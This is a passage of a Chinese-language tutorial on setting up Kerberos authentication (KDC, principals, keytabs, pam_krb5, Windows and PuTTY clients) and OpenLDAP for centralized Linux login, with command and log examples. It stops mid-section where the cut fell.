也就是说,KDC 和 Server 之间并没有直接联系,而是分享了一个共同的秘密,即在 TICKET 中的 K_session。Client 得到 TICKET 的时候,他不能更改其中的 K_session,因为它没有 K_Server,但它可以拿到 OTHER 中的 K_session,并用这个生成验证器 AUTHENTICATOR,它把验证器和票一起提交给 Server。而 Server 拿到 TICKET 后,可以用 K_Server 解密,并取出 K_session,并比较 AUTHENTICATOR 和 TICKET 中的内容并确保一致,以及 TICKET 中的时间没有过期。如果在(2)时用户更改了 K_session,那么 Client 生成的 AUTHENTICATOR 将无法被解密,这也就意味着这个 Client 无法通过 Server 的验证了。

当然实际的过程比这个要复杂!还涉及到票据授权票 和 TGS 等问题。

基本配置和测试

下面看看 Kerberos 的基本配置。主要的软件包有 krb5-libs, krb5-server, krb5-workstation 以及 pam_krb5。

编辑 /etc/krb5.conf,将其中[realms][domain_realm]部分的 EXAMPLE.COM 的内容全部替换成自己的域名,例如:

  [realms]   SAMPLE.CN = {    kdc = kdc.sample.cn:88    admin_server = kdc.sample.cn:749    default_domain = sample.cn   }    [domain_realm]   .sample.cn = SAMPLE.CN   sample.cn = SAMPLE.CN  [kdc]   profile = /var/kerberos/krb5kdc/kdc.conf

然后保证 admin_server 即 kdc.sample.cn 可以被解析,可以使用 DNS 或 /etc/hosts。

在上面的[kdc]部分,指明了 KDC 使用的配置文件,修改[realms]为自己的域。

然后创建数据库: sh# /usr/kerberos/sbin/krb5_util create -r SAMPLE.CN -s -r 指定 realm,-s 指定创建 stash 文件。stash 文件是主密钥的一个本地加密副本,主密钥用于自动验证 KDC,作为系统的启动序列的一节。这个命令在 kdc.conf 的[kdcdefaults]指定的目录 /var/kerberos/krb5kdc 中创建 Kerberos 数据库文件 principal.db 和 principal.ok,管理数据库文件 principal.kadm5,lock 和 stash(隐藏)等。

然后要编辑 /var/kerberos/krb5kdc/kadmin.acl,ACL 即 Access Control List(访问控制列表),这个文件控制对 Kerberos 自身数据库的访问权限,访问数据库使用 kadmin 程序,这是一个交互式程序,以便进行增删用户等操作。默认内容是

  */admin@SAMPLE.CN       *

一行,但通常我们会使用其他用户,所以增加:

  rocky/admin@SAMPLE.CN   *

这样 rocky/admin@SAMPLE.CN 就拥有了所有的管理权限,可以在 kadmin 中运行其所有的命令。如果不增加 rocky/admin 的权限,那么运行 kadmin 就会出现如下问题:

  sh# kadmin  Authenticating as principal rocky/admin@SAMPLE.CN with password.  Password for rocky/admin@SAMPLE.CN:  kadmin:  addprinc -randkey host/doc.sample.cn  WARNING: no policy specified for host/doc.sample.cn@SAMPLE.CN; defaulting to no policy  add_principal: Operation requires ``add'' privilege while creating "host/doc.sample.cn@SAMPLE.CN".

不论 rocky/admin 是否拥有 admin 权限,你都必须先创建这个用户。不过在 Kerberos 中并不称为用户,而是称为 Client 的 principal,principal 既可以是对 Client 的,也可以是对 Server 的,这在后面谈到。

因为还没有其他 principal,而且现在还没有启动 Kerberos 的 KDC 服务,所以不可能运行 kadmin。那么要创建这个 principal,只能运行 kadmin.local,这个程序只能在 KDC 上运行。而 kadmin 可以在 Kerberos Client 上运行以连接到 KDC。

那么运行:

  sh# /usr/kerberos/sbin/kadmin.local  kadmin.local: addprinc rocky/admin  ...  kadmin.local: addprinc rocky  ...

后面这一次是增加一个"普通用户",其完整的 principal 即为 rocky@SAMPLE.CN(或 rocky/@SAMPLE.CN,后面为空)。

接着可以启动 KDC 和与之相关的其他服务了:

  sh# /etc/init.d/krb5kdc start  sh# /etc/init.d/kadmin start  sh# /etc/init.d/krb524 start

然后看看客户端能否正常地从 KDC 上取得票据:

  sh# kinit rocky  Password for rocky@SAMPLE.CN:  sh# klist  Ticket cache: FILE:/tmp/krb5cc_0  Default principal: rocky@SAMPLE.CN    Valid starting     Expires            Service principal  03/21/07 13:27:54  03/22/07 13:27:54  krbtgt/SAMPLE.CN@SAMPLE.CN      Kerberos 4 ticket cache: /tmp/tkt0  klist: You have no tickets cached

这个程序是在 KDC 上运行的,是属于 krb5-workstation 包的,因为客户端和 KDC 使用同样的配置文件 /etc/krb5.conf,所以如果在 KDC 这台主机上运行就不需要额外再配置。整个过程即可以认为是前面图中的(1)(2)部分。上面可以看到已经拿到了票据,cache 在 /tmp/krb5cc_0 中,因为文件权限设定,所以不可能为其他用户所用,保证了安全性。

如果要配置单独的客户端,必须说明的是:相对于 KDC 来说,Client 和 Server 都是客户端。无论是哪一种,很简单,安装好 krb5-workstation,然后把 KDC 上的 /etc/krb5.conf 拷贝过来即可。对 Client Kerberos workstation,这就可以了,它会根据用户的需要使用相应的 principal(user principal);对 Server Kerberos workstation 还有一步,就是前面提到的为 Server 增加一个 principal(server principal),为了映像和理解的深刻,先来看看不这么做的情况。

我们使用 telnet 的 Kerberos 感知版本 krb5-telnet 来做这个实验。编辑 /etc/xinetd.d/krb5-telnet,disable = no,重启 xinted,然后用 telnet 登录(PATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin)

  [root@docs ~]# kinit rocky  ......  [root@docs ~]# telnet -a docs.sample.cn  Trying 192.168.0.98...  Connected to docs.sample.cn (192.168.0.98).  Escape character is '^]'.  [ Kerberos V5 refuses authentication because telnetd: krb5_rd_req failed: No such file or directory ]  [ Kerberos V5 refuses authentication because telnetd: krb5_rd_req failed: No such file or directory ]    [root@docs ~]# telnet docs.sample.cn  Trying 192.168.0.98...  Connected to docs.sample.cn (192.168.0.98).  Escape character is '^]'.        docs.sample.cn (Linux release 2.6.14.2 #1 SMP Thu Jan 11 15:39:36 EST 2007) (3)    login: rocky  Password for rocky:  Login incorrect  login: test  Password for test:  login: Client not found in Kerberos database while getting initial credentials  Last login: Thu Mar 15 18:38:58 from docs  [test@docs ~]$ exit    [root@docs ~]# klist  Ticket cache: FILE:/tmp/krb5cc_0  Default principal: rocky@SAMPLE.CN    Valid starting     Expires            Service principal  03/15/07 18:20:52  03/16/07 18:20:49  krbtgt/SAMPLE.CN@SAMPLE.CN  03/15/07 18:37:30  03/16/07 18:20:49  host/docs.sample.cn@SAMPLE.CN      Kerberos 4 ticket cache: /tmp/tkt0  klist: You have no tickets cached

相应的,在 /var/log/krb5kdc.log 中会看到类似的日志信息:

  Mar 16 11:12:26 docs.sample.cn krb5kdc[23244](info): TGS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.98: UNKNOWN_SERVER: auth  time 1174055114,  rocky@SAMPLE.CN for krbtgt/LOCALDOMAIN@SAMPLE.CN, Server not found in Kerberos database  Mar 16 11:12:26 docs.sample.cn krb5kdc[23244](info): TGS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.98: UNKNOWN_SERVER: auth  time 1174055114,  rocky@SAMPLE.CN for krbtgt/LOCALDOMAIN@SAMPLE.CN, Server not found in Kerberos database

分析一下这整个过程,前面的登录都失败了,因为按照要求,Kerberos 是使用票据来进行认证的,所以不应该在登录时会提示需要密码,因为你已经在 kinit 获取票据的时候输入了密码验证信息。后面再使用 klist 查看票据时,你会发现多了一行,即 host/docs.sample.cn@SAMPLE.CN,说明已经想 host/docs.sample.cn@SAMPLE.CN 发送了票据,那为什么不能通过认证呢?

回顾原理,Client, Server 和 KDC 之间必须共享一个 K_session,而 Server 要取得在 TICKET 中的 K_session,它必须拥有 K_Server,但是我们什么时候创建了这个 K_Server 了呢?没有。这就是前面提到的要为这个 Server 增加一个 principal 的含义。

Additionally, the host/server@REALM principal must be in the KDC database, and its key must be stored in /etc/krb5.keytab on the server.

Kerberos applies a default authorization rule: if host H is in realm R, the Kerberos principal u@R is allowed access to the account u@H. Using this default rule implies that the system administrators are managing the correspondence between operating system (OS) usernames and Kerberos principals.

参见:Kerberos and SSH

那么首先增加这个 principal:

  sh# kadmin  kadmin: addprinc host/docs.sample.cn  ...

会提示输入以生成密码,即 K_Server。这个命令可以在 Server 上运行,也可以在 KDC 上运行。然后要将这个 Key 保存在 Server 上,这样 Server 才能使用它来解密 TICKET。在 Server 上运行如下命令来保存 key(K_Server)

  kadmin:  ktadd -k /etc/krb5.keytab host/docs.sample.cn  Entry for principal host/docs.sample.cn with kvno 4, encryption type ArcFour with HMAC/md5 added to keytab WRFILE:/etc/krb5.keytab.  Entry for principal host/docs.sample.cn with kvno 4, encryption type Triple DES cbc mode with HMAC/sha1 added to keytab WRFILE:/etc/krb5.keytab.  Entry for principal host/docs.sample.cn with kvno 4, encryption type DES with HMAC/sha1 added to keytab WRFILE:/etc/krb5.keytab.  Entry for principal host/docs.sample.cn with kvno 4, encryption type DES cbc mode with RSA-MD5 added to keytab WRFILE:/etc/krb5.keytab.  kadmin:  quit

下面看效果

  [root@docs ~]# kinit  Password for rocky@SAMPLE.CN:  [root@docs ~]# klist  Ticket cache: FILE:/tmp/krb5cc_0  Default principal: rocky@SAMPLE.CN    Valid starting     Expires            Service principal  03/16/07 09:40:34  03/17/07 09:40:28  krbtgt/SAMPLE.CN@SAMPLE.CN    Kerberos 4 ticket cache: /tmp/tkt0  klist: You have no tickets cached  [root@docs ~]# telnet -al rocky docs.sample.cn  Trying 192.168.0.98...  Connected to docs.sample.cn (192.168.0.98).  Escape character is '^]'.  [ Kerberos V5 accepts you as ``rocky@SAMPLE.CN'' ]  Password for rocky:  Login incorrect  login: rocky  Password for rocky:  Login incorrect    [root@docs ~]# klist  Ticket cache: FILE:/tmp/krb5cc_0  Default principal: rocky@SAMPLE.CN    Valid starting     Expires            Service principal  03/16/07 09:40:34  03/17/07 09:40:28  krbtgt/SAMPLE.CN@SAMPLE.CN  03/16/07 09:40:59  03/17/07 09:40:28  host/docs.sample.cn@SAMPLE.CN    Kerberos 4 ticket cache: /tmp/tkt0  klist: You have no tickets cached

相应的 /var/log/krb5kdc.log 如下

  Mar 16 09:40:59 docs.sample.cn krb5kdc[21498](info): TGS_REQ (1 etypes {1}) 192.168.0.98: ISSUE: authtime 1174052434, etypes {rep=16 tkt=23 ses=1}, rocky@SAMPLE.CN for host/docs.sample.cn@SAMPLE.CN  Mar 16 09:40:59 docs.sample.cn krb5kdc[21498](info): TGS_REQ (1 etypes {1}) 192.168.0.98: ISSUE: authtime 1174052434, etypes {rep=16 tkt=23 ses=1}, rocky@SAMPLE.CN for host/docs.sample.cn@SAMPLE.CN

你可以看到"Kerberos V5 accepts you as ``rocky@SAMPLE.CN''",这说明 Kerberos 认证已经通过了,但是为什么还是不能成功的登录呢(注意,本地系统中是没有 rocky 这个帐户的!)?我们下面通过 ssh 的 pam_krb5 认证方式来详细说明这一点。

pam_kerb5 login 和 accounts information 问题

要配置 ssh 使用 Kerberos 认证,必须使用 pam_krb5 模块,对于 RedHat 系统,可以使用如下方式来配置:

  sh# authconfig  sh# cat /etc/pam.d/system-auth  #%PAM-1.0  # This file is auto-generated.  # User changes will be destroyed the next time authconfig is run.  auth        required      /lib/security/$ISA/pam_env.so  auth        sufficient    /lib/security/$ISA/pam_unix.so likeauth nullok  auth        sufficient    /lib/security/$ISA/pam_krb5.so use_first_pass  auth        required      /lib/security/$ISA/pam_deny.so    account     required      /lib/security/$ISA/pam_unix.so broken_shadow  account     sufficient    /lib/security/$ISA/pam_succeed_if.so uid < 100 quiet  account     [default=bad success=ok user_unknown=ignore] /lib/security/$ISA/pam_krb5.so  account     required      /lib/security/$ISA/pam_permit.so    password    requisite     /lib/security/$ISA/pam_cracklib.so retry=3  password    sufficient    /lib/security/$ISA/pam_unix.so nullok use_authtok md5 shadow  password    sufficient    /lib/security/$ISA/pam_krb5.so use_authtok  password    required      /lib/security/$ISA/pam_deny.so    session     required      /lib/security/$ISA/pam_limits.so  session     required      /lib/security/$ISA/pam_unix.so  session     optional      /lib/security/$ISA/pam_krb5.so

然后我使用 ssh 来登录试试看。结果当然是不能成功。查看日志的情况:

  Mar  8 14:18:18 docs sshd(pam_unix)[23506]: check pass; user unknown  Mar  8 14:18:18 docs sshd(pam_unix)[23506]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.0.64  Mar  8 14:18:18 docs sshd[23506]: pam_krb5[23506]: The "hosts" configuration directive is not supported with your release of Kerberos.  Please check if your release supports an `extra_addresses' directive instead.  Mar  8 14:18:18 docs sshd[23506]: pam_krb5[23506]: error resolving user name 'rocky' to uid/gid pair  Mar  8 14:18:18 docs sshd[23506]: pam_krb5[23506]: error getting information about 'rocky'

可以看到,pam_unix 模块找不到用户 rocky,而 pam_krb5 也找不到,但并不是找不到用户,而是找不到与这个用户相对应的 uid/gid 匹配信息!

那么做这个事情试一下:useradd rocky。然后使用 ssh 登录并监视日志的情况:

  Mar 16 10:55:42 docs sshd(pam_unix)[23726]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.0.64  user=rocky  Mar 16 10:55:42 docs sshd[23726]: pam_krb5[23726]: The "hosts" configuration directive is not supported with your release of Kerberos.  Please check if your release supports an `extra_addresses' directive instead.  Mar 16 10:55:42 docs sshd[23726]: pam_krb5[23726]: authentication succeeds for 'rocky' (rocky@SAMPLE.CN)  Mar 16 10:55:42 docs sshd(pam_unix)[23728]: session opened for user rocky by (uid=0)

更进一步,还可以再看看 telnet 的登录情况:

  [root@docs ~]# telnet -al rocky docs.sample.cn  Trying 192.168.0.98...  Connected to docs.sample.cn (192.168.0.98).  Escape character is '^]'.  [ Kerberos V5 accepts you as ``rocky@SAMPLE.CN'' ]  Last login: Fri Mar 16 11:12:19 from docs  [rocky@docs ~]$ exit    [root@docs ~]# telnet -al rocky 192.168.0.98  Trying 192.168.0.98...  Connected to docs.sample.cn (192.168.0.98).  Escape character is '^]'.  [ Kerberos V5 accepts you as ``rocky@SAMPLE.CN'' ]  Last login: Fri Mar 16 11:13:25 from docs  [rocky@docs ~]$ exit    [root@docs ~]# telnet -al rocky 127.0.0.1  Trying 127.0.0.1...  Connected to localhost.localdomain (127.0.0.1).  Escape character is '^]'.  Password for rocky:    [root@docs ~]# cat /etc/hosts  192.168.0.98    test.sample.cn  [root@docs ~]# telnet -al rocky test.sample.cn  Trying 192.168.0.98...  Connected to test.sample.cn (192.168.0.98).  Escape character is '^]'.  [ Kerberos V5 accepts you as ``rocky@SAMPLE.CN'' ]  Last login: Fri Mar 16 11:13:56 from docs  [rocky@docs ~]$

由此可见,虽然我们在 Kerberos 中增加了 rocky 的 principal,但由于 pam_krb5 无法向登录的 login 程序提供用户信息的其他方面,比如 UID/GID, HOME, SHELL, EXPIRE TIME 等这些设定,所以登录会失败。

因此登录包括了两个过程,一是 Authentication,然后是 user information retrival。但是如果我在 Server 本地系统中增加 rocky 这个用户,那就意味着我要集中用户信息的管理方式无法实现。而 Kerberos 显然是不可能提供这些用户信息的。怎么办?

所以,最后归根结底,我们还是需要一个集中用户认证信息的服务。NIS 是不会采用了,那么就只能选择 LDAP 了。可以使用 openldap。

关于使用 openldap 来存放帐户信息的内容,参见 AA Center, openldap

Windows User Client 配置

在前面的 基本配置和测试 中,实际上已经讨论了配置 Linux User Client 的方法。不过大多数人都使用 Windows,因此我们需要在 Windows 上的 kinit/klist/kdestory 程序。

在 MIT 的官方网站上可以找到这样的 GUI 程序:Kerberos for Windows。下载安装,然后启动 Network Identity Manager,在"Option"->"Kerberos 5"->"Realms"中增加一个 Realm,按前面的配置,增加 SAMPLE.CN,在右边的"Kerberos Servers"一栏指定 KDC 的 FQDN,并指定"Admin"为"Yes";在"Domains that map to SAMPLE.CN"一栏增加 .sample.cn 和 sample.cn。然后回到"Options"->"Kerberos 5",指定 Default Realm 为"SAMPLE.CN"。实际的配置文件是 C:\WINDOWS\krb5.ini,可以按照 Linux 下的 /etc/krb5.conf 来编写。注意需要保证 KDC 和 DOMAIN 可解析,所以也可以利用 Windows 下的 hosts 文件。

然后可以点击"New Credentials"获得 Kerberos TICKET。在取得票据的过程中,提示 Kerberos 4 的票据无法取得。然后尝试使用 PuTTY 的 Kerberos 感知版本来登录 Server(pam_krb5),结果在登录时 PuTTY 提示 Ticket expired,在 KDC 的日志中得到如下的出错信息:

  Apr 09 14:38:08 docs.sample.cn krb5kdc[25811](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.64: ISSUE: authtime 1176143888, etypes {rep=16 tkt=23 ses=16}, rocky@SAMPLE.CN for krbtgt/SAMPLE.CN@SAMPLE.CN  Apr 09 14:38:08 docs.sample.cn krb5kdc[25811](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.64: ISSUE: authtime 1176143888, etypes {rep=16 tkt=23 ses=16}, rocky@SAMPLE.CN for krbtgt/SAMPLE.CN@SAMPLE.CN  Apr 09 14:38:08 docs.sample.cn krb5kdc[25811](info): TGS_REQ (1 etypes {1}) 192.168.0.64: PROCESS_TGS: authtime 0,   for krbtgt/SAMPLE.CN@SAMPLE.CN, Ticket expired  Apr 09 14:38:08 docs.sample.cn krb5kdc[25811](info): TGS_REQ (1 etypes {1}) 192.168.0.64: PROCESS_TGS: authtime 0,   for krbtgt/SAMPLE.CN@SAMPLE.CN, Ticket expired  Apr 09 14:38:13 docs.sample.cn krb5kdc[25811](info): TGS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.64: PROCESS_TGS: authtime 0,   for krbtgt/SAMPLE.CN@SAMPLE.CN, Ticket expired  Apr 09 14:38:13 docs.sample.cn krb5kdc[25811](info): TGS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.64: PROCESS_TGS: authtime 0,   for krbtgt/SAMPLE.CN@SAMPLE.CN, Ticket expired  Apr 09 14:38:13 docs.sample.cn krb5kdc[25811](info): TGS_REQ (1 etypes {1}) 192.168.0.64: PROCESS_TGS: authtime 0,   for krbtgt/SAMPLE.CN@SAMPLE.CN, Ticket expired  Apr 09 14:38:13 docs.sample.cn krb5kdc[25811](info): TGS_REQ (1 etypes {1}) 192.168.0.64: PROCESS_TGS: authtime 0,   for krbtgt/SAMPLE.CN@SAMPLE.CN, Ticket expired

然后配置 PuTTY,"Connection"->"Data"->"Auto-login username" 和 "Connection"->"SSH"->"Auth"。

然后 PuTTY 会提示登录密码。输入在 Kerberos 的帐户密码,还是可以登录的(Why???),但这说明 TICKET 没有起作用。

这是因为 Kerberos 有一个时间同步问题,一般 KDC 和其他 Client 和 Server workstation 使用 ntp 来同步。对 Windows,随便选择一个 ntp client 即可。在和 KDC 时间同步以后,重新取得票据,可以看到 Kerberos 4 的票据也一起取得了。再使用前面的 PuTTY 设置即可正常的登录而不用提示输入密码。

在时间不统一的时候,比如 Client 的时间比 KDC 要晚(前面是 Client 比 KDC 要早),日志中的记录如下:

  Using username "rocky".  GSSAPI error: Miscellaneous failure  GSSAPI mech specific error: Clock skew too great  rocky@192.168.0.98's password:    sh# tail /var/log/messages  Apr  9 04:29:44 docs sshd(pam_unix)[1784]: authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.0.64  user=rocky  Apr  9 04:29:44 docs sshd[1784]: pam_krb5[1784]: The "hosts" configuration directive is not supported with your release of Kerberos.  Please check if your release supports an `extra_addresses' directive instead.  Apr  9 04:29:44 docs sshd[1784]: pam_krb5[1784]: authentication succeeds for 'rocky' (rocky@SAMPLE.CN)  Apr  9 04:29:44 docs sshd(pam_unix)[1786]: session opened for user rocky by (uid=0)    sh# tail /var/log/krb5kdc.log  Apr 09 04:29:44 docs.sample.cn krb5kdc[25811](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.98: ISSUE: authtime 1176107384, etypes {rep=16 tkt=23 ses=16}, rocky@SAMPLE.CN for krbtgt/SAMPLE.CN@SAMPLE.CN  Apr 09 04:29:44 docs.sample.cn krb5kdc[25811](info): AS_REQ (7 etypes {18 17 16 23 1 3 2}) 192.168.0.98: ISSUE: authtime 1176107384, etypes {rep=16 tkt=23 ses=16}, rocky@SAMPLE.CN for krbtgt/SAMPLE.CN@SAMPLE.CN

这两项日志记录说明在输入密码之后仍然是使用的 pam_krb5 来进行 Kerberos 认证的!

那么我索性销毁票据,看看在没有 TICKET 的情况下能否正常登录?这时如果 Network Identity Manager 还在运行,则会弹出取得票据的对话框,否则 PuTTY 输出如下:

  Using username "rocky".  GSSAPI error: Miscellaneous failure  GSSAPI mech specific error: No credentials cache found  GSSAPI error: Miscellaneous failure  GSSAPI mech specific error: No credentials cache found  GSSAPI error: Miscellaneous failure  GSSAPI mech specific error: No error  rocky@192.168.0.98's password:

然后在 krb5kdc.log 和 messages 里的记录和前面的情况基本相同。仍然是利用 pam_krb5 来进行 Kerberos 认证。

下载地址:

AA Center, openldap for centrialized login

LDAP 基本原理

在前面说明 Kerberos 的时候,已经说明的使用 openldap 的必要性,也就是要集中用户信息,来实现集中登录。这样我不需要在每一个主机上单独维护用户信息了。

openldap 标准的文档在: http://www.openldap.org/doc/admin23/ 应该先阅读这个文档,我这里只说明一些比较特殊不好理解的地方,特别是这个文档中没有说清楚的问题。以及利用基本的知识建立集中用户信息的方法。

有一个中文版: http://www.infosecurity.org.cn/article/pki/ldap/23484.html

首先来看看 LDAP 的基本原理。LDAP(Lightweight Directory Access Protocol),轻型目录访问协议,从用户的角度来说,可以看成是对一个树形结构的数据库的访问协议,也就是目录服务。

数据模型

在这个树形结构中,每一个节点是以条目(Entry)来表示的,这相当于 XML 中的 Element。每一个 Entry 最基本的信息就是 DN(Distinguished Name)和RDN(Relative Distinguished Name),用来表示这个节点,类似于相对路径和绝对路径的概念。

每一个 Entry 是一组属性(Attribute)的集合,每一个 Attribute 包含 Value 以及相应的 Type 和 ObjectClass 说明。

ObjectClass 是面向对象的概念,因此每一个 Entry 可以看作一个 Class 的实例(Instance)。而这个 Class 的定义会说明这种类型的 Entry 必须(MUST)包含哪些属性,可能(MAY)包含哪些属性等。Type 的定义与之类似。

RFC2551 Each entry MUST have an objectClass attribute. The objectClass

attribute specifies the object classes of an entry, which along with the system and user schema determine the permitted attributes of an entry. Values of this attribute may be modified by clients, but the objectClass attribute cannot be removed. Servers may restrict the modifications of this attribute to prevent the basic structural class of the entry from being changed (e.g. one cannot change a person into a country).

每一个 Entry 必须包含至少一个 ObjectClass 声明。

那么这些 ObjectClass 和 AttributeType 的声明在什么地方呢?一般都放在 Schema 中。Schema 一般都以文件的形式而存在,例如 /usr/local/etc/openldap/schema,因此与 DocBook 的 DTD 就有些相似了。

可以看一个 Entry 的例子:

  dn: uid=rocky,ou=People,dc=sample,dc=cn  uid: rocky  cn: rocky  objectClass: account  objectClass: posixAccount  objectClass: top  objectClass: shadowAccount  userPassword: {crypt}$1$Kk00o2L8$fKM7c./FLiobXS4I.ktHU1  shadowLastChange: 13524  shadowMax: 99999  shadowWarning: 7  loginShell: /bin/bash  uidNumber: 1000  gidNumber: 1000  homeDirectory: /home/rocky  gecos: rocky

dn 就是前面说的 DN,那么其他那些 uid,o,ou,dc,cn,st,... 等又是表示什么含义呢?随便找一些 LDAP 的技术资料,都会给你一些如上的例子,其中有很多 o,ou,dc,cn 之类的东西,但几乎从来没有什么通俗点的文档解释过这些东西的来历。我怎么知道什么时候要使用那一个呢?

事实上,这些东西都是 AttributeType,在 RFC2253 中,你可以看到如下的说明:

  String X.500 AttributeType  ------------------------------  CN   commonName  L   localityName  ST   stateOrProvinceName  O   organizationName  OU   organizationalUnitName  C   countryName  STREET  streetAddress  DC   domainComponent  UID  userid

前面已经说过,ObjectClass 和 AttributeType 都是有定义的,定义在 schema 中。那么对这些 AttributeType 的定义就在 /usr/local/etc/openldap/schema/core.shema 中。所以,可以看到,虽然 O,OU,C,CN,DC,UID 这些是很基础的属性类型,也仍然是由外部来定义的。注意:dn 不是由 schema 定义的

所以在上面那个 Entry 的例子中,除了 objectClass 声明之外,其他都是 Attribute Type 声明,其实质是相同的,所以 cn, uid 与 uidNumber, userPassword 是一样的,只不过那些属性类型的声明不再 core.schema 中,而在 /usr/local/etc/openldap/schema/nis.schema。

上面的 Entry 是有格式的。按照这个格式编写的文件就称之为 LDIF(LDAP Data Interchange Format)文件。那么 ldif 又如何知道要用哪个 schema 的呢?

这在 slapd.conf 中定义。slapd 是 ldap 的服务守护进程。

  sh# vi /usr/local/etc/openldap/slapd.conf  include  /Opt/LDAP/etc/openldap/schema/nis.schema

用 LDAP 集中登录(Kerberos)

就目 前我所知之,利用 LDAP 集中用户信息以实现登录有两种方案,一是利用 pam_ldap 来实现认证,另一种是利用 Kerberos 替代 pam_ldap 来做认证,而用户信息存放在 LDAP 数据库中。无论采取那种形式,都必须用到 nss_ldap 库,从而可以在 /etc/nsswitch.conf 中增加对 ldap 的使用选项。

配置服务器,修改 slapd.conf,将 suffix 和 rootdn 都改成你自己的域,如下:

  sh# slappasswd  {SSHA}ck65VXczIGUsE/EOCYdF8qxwBCf73di7  sh# vi /usr/local/etc/openldap/slapd.conf  # suffix      "dc=my-domain,dc=com"  suffix        "dc=sample,dc=cn"  # rootdn      "cn=Manager,dc=my-domain,dc=com"  rootdn        "cn=ldapadmin,dc=sample,dc=org"  # rootpw        secret  rootpw        {SSHA}ck65VXczIGUsE/EOCYdF8qxwBCf73di7

这样,openldap 将以 cn=ldampadmin,dc=sample,dc=cn 作为你实际的顶级域。rootpw 是服务器密码,是可以通过网络来访问的,默认是明文,所以上面使用 slappasswd 来生成加密串,一旦完成配置,应该注释禁用该条目。openldap 默认使用明文传送密码,除非在 slapd.conf 中配置使用了 SSL/TSL(Transaction Layer Security)。

然后启动服务:

  sh# /usr/local/libexec/slapd  或  sh# /usr/local/libexec/slapd -f /usr/local/etc/openldap/slapd.conf

在继续之前,先看看有没有问题,运行如下命令:

  sh# ldapsearch -x -b '' -s base '(objectclass=*)' namingContexts  # extended LDIF  #  # LDAPv3  # base <> with scope baseObject  # filter: (objectclass=*)  # requesting: namingContexts  #    #   dn:   namingContexts: dc=sample,dc=org    # search result  search: 2  result: 0 Success    # numResponses: 2  # numEntries: 1

然后我需要在 LDAP 的数据库中添加用户信息,这可以通过编写 LDIF 文件,然后用 ldapadd 工具来导入。前面的 Entry 例子即是这样一个包含完整用户信息的一个 LDIF 文件。但如果要将现有的用户信息迁移到 LDAP,那么可以使用一个称之为 MigrationTools 的工具;可能你不太属性这个 LDIF 应该怎么手工编写,那么也可以利用这个工具先生成一个模板,再在那个基础上进行修改。

可以在 http://www.padl.com/download/MigrationTools.tgz 下载最新的版本。然后来看看怎么做:

  sh# cd MigrationTools-47/  sh# vi migrate_common.ph  $DEFAULT_BASE = "dc=sample,dc=cn"  sh# ./migrate_base.pl >/tmp/base.ldif  sh# ./migrate_group.pl /etc/group /tmp/group.ldif  sh# ./migrate_hosts.pl /etc/hosts /tmp/hosts.ldif  sh# ./migrate_passwd.pl /etc/passwd /tmp/passwd.ldif

然后修改这几个文件,特别是 passwd.ldif 和 group.ldif,因为这里我们之做实验,不做实际的迁移,所以我们将上面 Entry 例子中的内容照搬过来,其他的条目删除——注意,在做实际迁移的时候,因为迁移后很多用户比如 root 不再使用本地 /etc/passwd 中的信息,所以如果中间出错,有可能导致无法登录,所以如果要迁移 root 等重要用户,应该保证有一个 root 登录会话,并且在测试成功之前不要注销!

如果要迁移 root 用户,还有其他一些重要的问题需要考虑。

  sh# ldapadd -x -h localhost -D "cn=ldapadmin,dc=sample,dc=org" -w "secret" -f passwd.ldif  adding new entry "uid=rocky,ou=People,dc=sample,dc=cn"  ldap_add: Invalid syntax (21)          additional info: objectClass: value #0 invalid per syntax

出现这个错误就是和上面说的那样,应该将 nis.schema 包含进来。

  sh# vi /usr/local/etc/openldap/slapd.conf  include     /usr/local/etc/openldap/schema/core.schema   include     /usr/local/etc/openldap/schema/nis.schema  sh# killall -HUP slapd  # /usr/local/libexec/slapd -f /usr/local/etc/openldap/slapd.conf  /usr/local/etc/openldap/schema/nis.schema: line 203: AttributeType not found: "manager"

这是因为还 nis.schema 还依赖于另一个 schema,consine.schema

  sh# vi /usr/local/etc/openldap/slapd.conf  include     /usr/local/etc/openldap/schema/core.schema   include     /usr/local/etc/openldap/schema/cosine.schema  include     /usr/local/etc/openldap/schema/nis.schema

我不太清楚为什么使用加密后的密码不行,所以还是只好先使用了默认的那个密码。

  sh# ldapadd -x -h localhost -D "cn=ldapadmin,dc=shoepx,dc=org" -f passwd.ldif -w "{SSHA}ck65VXczIGUsE/EOCYdF8qxwBCf73di7"  ldap_bind: Invalid credentials (49)

如果你在导入时发现如下错误:

  sh# /usr/local/libexec/slapd -f /usr/local/etc/openldap/slapd.conf  sh# ldapadd -x -h localhost -D "cn=ldapadmin,dc=sample,dc=org" -w "secret" -f passwd.ldif  adding new entry "uid=rocky,ou=People,dc=sample,dc=cn"   ldap_add: Server is unwilling to perform (53)           additional info: no global superior knowledge

那么你应该首先检查 slapd.conf 文件的配置是使用了正确的域,和 migrate_common.ph 中应该是一样的。这里是

  rootdn      "cn=ldapadmin,dc=sample,dc=org"

写错了!

如果没有问题,那么应该是如下的输出:

  adding new entry "uid=rocky,ou=People,dc=sample,dc=cn"  adding new entry "cn=rocky,ou=Group,dc=sample,dc=cn"

接着配置各个客户端。你应该已经安装 Kerberos 的方法配置了 PAM 认证,所以不需要再做改动,唯一需要更改的就是 /etc/nsswitch.conf 了:

  passwd: files ldap  shadow: files ldap  group:  files ldap

注意,和前面配置 Kerberos 认证时一样,rocky 这个帐户并不存在与本地的 /etc/passwd 文件中,现在只有在 LDAP 数据库中有他的信息,并且 Kerberos 中有其相应的 Client principal

从 PuTTY 登录的情况来看:

